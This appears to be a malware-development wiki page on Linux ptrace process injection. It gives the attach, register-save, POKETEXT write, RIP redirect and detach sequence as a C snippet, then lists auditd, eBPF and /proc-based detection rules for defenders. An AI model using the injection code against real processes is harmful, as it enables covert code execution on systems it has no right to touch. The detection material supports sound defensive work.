Skip to content
λmaldev wiki/
pagesptrace Injection
T1055.008Linuxx86-64C

ptrace Injection

updated 2026-06-115 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

ptrace is the debugging interface the entire Linux tooling ecosystem is built on, which makes it both the most convenient injection primitive and the most heavily constrained one. An attacher can read and write any word of the target’s address space and set its registers directly — no separate allocate/write/execute dance.

Most distributions now ship kernel.yama.ptrace_scope=1, which restricts attaching to descendants only. Anything higher in a hardened environment makes this technique a non-starter without root.

Note.

Check /proc/sys/kernel/yama/ptrace_scope in the lab before concluding a detection works. A rule validated on a box where scope is 0 proves very little about production.

The call chain

  1. 1
    PTRACE_ATTACH
    Attach to the target pid and stop it; requires matching uid or CAP_SYS_PTRACE.
  2. 2
    PTRACE_GETREGS
    Save the register state so the original execution can be resumed cleanly.
  3. 3
    PTRACE_POKETEXT
    Write the payload word by word into an executable mapping, usually inside the stack of libc text.
  4. 4
    PTRACE_SETREGS
    Point RIP at the written bytes.
  5. 5
    PTRACE_DETACH
    Resume the process; the payload runs on the borrowed thread.

Reference implementation

inject.cC
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, &status, 0);

struct user_regs_struct saved, regs;
ptrace(PTRACE_GETREGS, pid, NULL, &saved);
regs = saved;

// write the payload a word at a time into an executable mapping
for (size_t i = 0; i < len; i += sizeof(long))
  ptrace(PTRACE_POKETEXT, pid, target + i, *(long *)(shellcode + i));

regs.rip = (unsigned long)target;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL, NULL);

Detection

AUDITD
An execve-less ptrace syscall with request PTRACE_ATTACH or PTRACE_POKETEXT between unrelated processes.
EBPF
Tracepoint on sys_enter_ptrace filtered to POKETEXT/POKEDATA — no debugger issues those in production.
PROC SCAN
An anonymous executable mapping in /proc/pid/maps for a process whose binary is fully file-backed.
BEHAVIOURAL
TracerPid in /proc/pid/status set to a process that is not gdb, strace or a container runtime.

An eBPF tracepoint on sys_enter_ptrace is the cheapest continuous coverage. Allowlist your debuggers and profilers by executable path, and treat POKETEXT from anything else as high confidence — legitimate tools overwhelmingly read rather than write.

T1055.009/proc/pid/mem writesSame goal without ptrace, by writing the memory file directly.
T1055.001Classic DLL InjectionThe Windows equivalent, with the loader doing the mapping.
Was this page useful?edit this page ↗